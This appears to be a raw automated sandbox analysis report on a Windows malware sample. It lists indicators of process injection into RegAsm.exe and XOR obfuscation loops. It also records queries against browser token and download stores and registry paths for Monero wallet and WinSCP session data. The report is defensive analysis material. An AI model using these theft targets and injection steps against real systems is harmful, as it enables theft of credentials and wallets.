UID: 00000000-00001468-63659-48-004067ED Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-48-004067ED Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-50-00411C4A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-50-00411C4A Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00001468-63659-51-00411C15 Assembly shows XOR instruction xor eax esi in Stream UID: 00000000-00001468-63659-72-0041B817 Assembly shows XOR instruction xor edx eax in Stream UID: 00000000-00001468-63659-73-0041B7B9 Assembly shows XOR instruction xor eax dword ptr [00436190h+edx*4] in Stream UID: 00000000-00001468-63659-73-0041B7B9 Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00001468-63659-74-0041B7FF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-77-0042F135 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-78-0042F0D9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-81-00411F55 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-81-00411F55 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-90-0041C176 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-90-0041C176 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-93-0041B8F4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-93-0041B8F4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-94-0041C0B3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-94-0041C0B3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-95-0041BF90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-95-0041BF90 Assembly shows XOR instruction xor ebx eax in Stream UID: 00000000-00001468-63659-99-0041B6DC Assembly shows XOR instruction xor eax dword ptr [00436190h+ebx*4] in Stream UID: 00000000-00001468-63659-99-0041B6DC Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00001468-63659-99-0041B6DC Assembly shows XOR instruction xor eax dword ptr [00436190h+esi*4] in Stream UID: 00000000-00001468-63659-99-0041B6DC Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00001468-63659-105-0041AB4C Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00001468-63659-105-0041AB4C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-116-004199BA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-116-004199BA Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00001468-63659-124-0041A921 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00001468-63659-124-0041A921 Assembly shows XOR instruction xor edx ecx in Stream UID: 00000000-00001468-63659-124-0041A921 Assembly shows XOR instruction xor edi ecx in Stream UID: 00000000-00001468-63659-125-0041A5B8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-133-00411DBC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-133-00411DBC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-135-00415DC0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-135-00415DC0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-151-0040FD81 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-151-0040FD81 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 00000000-00001468-63659-173-0041D880 Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00001468-63659-173-0041D88037:T94f,Contains base64 string in header "2BMDwwOjAJBgUrDgMCGgUABBQdI2" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "User" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "ocsp" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQDwm7Iny5XX6g%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "User" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQDwm7Iny5XX6g%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "ocsp" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQDwm7Iny5XX6g%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "/gdig2s1" in header "GET /gdig2s1-66226.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "Keep" in header "GET /gdig2s1-66226.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "User" in header "GET /gdig2s1-66226.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com"38:T442,Found XOR loop in file "sample.bin" at offset 409085; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 87907; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 103009; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 185004; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 260592; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 57290; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 73569; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 200112; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 273060; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 284464; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 315447; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 363682; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 379551; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 406146; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 411670; code bytes = 803039:T420,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")3a:T486,"SELECT target_path, tab_url from downloads" (Source: 63659-258-004092A7, Indicator: "select target_path, tab_url from downloads") "SELECT service, encrypted_token FROM token_service" (Source: 63659-260-00409A0E, Indicator: "select service, encrypted_token from token_service") "Select * From AntiVirusProduct" (Source: 63659-305-00411997, Indicator: "select * from antivirusproduct") "Select * From Win32_OperatingSystem" (Source: 63659-307-00411807, Indicator: "select * from win32_operatingsystem") "Select * From Win32_OperatingSystem" (Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp, Indicator: "select * from win32_operatingsystem") "Select * From AntiVirusProduct" (Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp, Indicator: "select * from antivirusproduct") "SELECT target_path, tab_url from downloads" (Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp, Indicator: "select target_path, tab_url from downloads") "SELECT service, encrypted_token FROM token_service" (Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp, Indicator: "select service, encrypted_token from token_service")3b:T4b1,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")3c:T40b,"SOFTWARE\monero-project\monero-core" in Source: 63659-237-00401A51 "Software\Martin Prikryl\WinSCP 2\Configuration" in Source: 63659-272-0040E186 "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 63659-272-0040E186 "SOFTWARE\Microsoft\Cryptography" in Source: 63659-315-004115D4 "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004412.00000000.80105.01EA2000.00000040.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004412.00000000.80112.00370000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp "Software\Martin Prikryl\WinSCP 2\Configuration" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp "SOFTWARE\monero-project\monero-core" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp3d:Ta68,"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" Response ==> HTTP/1.1 200 OK Date: Wed 12 Aug 2026 00:56:51 GMT Content-Type: application/ocsp-response Content-Length: 2073 Connection: keep-alive X-Sucuri-ID: 11017 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Tue 11 Aug 2026 02:58:01 GMT Expires: Wed 12 Aug 2026 02:58:01 GMT ETag: "431207248f378c5decef90f34ebcee3965fd6a5a" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" Server: Sucuri/Cloudproxy X-Sucuri-Cache: HIT Alt-Svc: h3=":443"; ma=86400 with response body ==>30C28208150A0100C2A0C282080E30C282080A06092B060105050730010104C28207C3BB30C28207C3B730C281C396C2A15D305B310B30090603550406130255....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQDwm7Iny5XX6g%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" Response ==> HTTP/1.1 200 OK Date: Wed 12 Aug 2026 00:56:52 GMT Content-Type: application/ocsp-response Content-Length: 2120 Connection: keep-alive X-Sucuri-ID: 11017 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Tue 11 Aug 2026 03:44:53 GMT Expires: Wed 12 Aug 2026 03:44:53 GMT ETag: "c4ff484ff7ecf03fe385941394e50faf25ea4347" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" Server: Sucuri/Cloudproxy X-Sucuri-Cache: HIT Alt-Svc: h3=":443"; ma=86400 with response body ==>30C28208440A0100C2A0C282083D30C282083906092B060105050730010104C282082A30C282082630C281C399C2A1583056310B300906035504061302555331....... "GET /gdig2s1-66226.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.godaddy.com" Response ==> HTTP/1.1 200 OK Date: Wed 12 Aug 2026 00:56:52 GMT Content-Type: application/pkix-crl Content-Length: 1112 Connection: keep-alive X-Sucuri-ID: 11037 Last-Modified: Tue 11 Aug 2026 02:13:20 GMT ETag: "458-658bc03c5c013" Cache-Control: public no-transform must-revalidate Expires: Wed 12 Aug 2026 09:26:31 GMT P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" Server: Sucuri/Cloudproxy X-Sucuri-Cache: HIT Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes with response body ==>30C282045430C282033C020101300D06092AC28648C286C3B70D01010B050030C281C2B4310B30090603550406130255533110300E060355040813074172697A.......3e:T871,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 63659-89-0041C43C] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00004412-00000C2B-259094392] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00004412-00000C2B-259472366] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00004412-00000C2B-260741979] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004412-00000C2B-260900826] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00004412-00000C2B-261158572] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00004412-00000C2B-261234854] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00004412-00000C2B-261468579] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00004412-00000C2B-261558979] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00004412-00000C2B-261636081] Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00001468-00000C2B-265811652] Observed system executable string:"%WINDIR%\system32\cryptnet.dll" [Source: 00000000-00001468-00000C2B-268823291] Observed system executable string:"%WINDIR%\system32\crypt32.dll" [Source: 00000000-00001468-00000C2B-269384648] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00001468-00000C2B-271102429] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00001468-00000C2B-271254752] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00001468-00000C2B-271623922]3f:Tb3e,Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001468-00000C2C-265733448") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001468-00000C2C-265733798") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00001468-00000C2C-269317224") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00001468-00000C2C-269736751") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00001468-00000C2C-269737097") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00001468-00000C2C-269737097") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00001468-00000C2C-269737097") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00001468-00000C2C-270218627") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00001468-00000C2C-270218627") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00001468-00000C2C-270274414") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00001468-00000C2C-270274864") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")40:T698,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")41:Teac,"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00004412) "1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004412)42:T4d0,Found string "" (Indicator: "base64"; File: "00001468.000005BC.4587958.00401000.wprm") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "system.security.cryptography.algorithms.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "system.security.cryptography.primitives.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "system.security.cryptography.encoding.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "system.security.cryptography.x509certificates.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004412.00000000.80112.00370000.00000004.mdmp") Found string "" (Indicator: "base64"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")43:T672,Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "00001468.000005BC.4589083.0043D000.wprm") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")44:T53b,"RegAsm.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter System" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter lsm.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter spoolsv.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter taskhost.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter explorer.exe" (UID: 00000000-00001468) "RegAsm.exe" called "Process32NextW with parameter WmiPrvSE.exe" (UID: 00000000-00001468)45:T63a,Wrote 135 instructions to a remote process Wrote 129 instructions to a remote process Wrote 58 instructions to a remote process Wrote 2 instructions to a remote process Wrote 120 instructions to a remote process 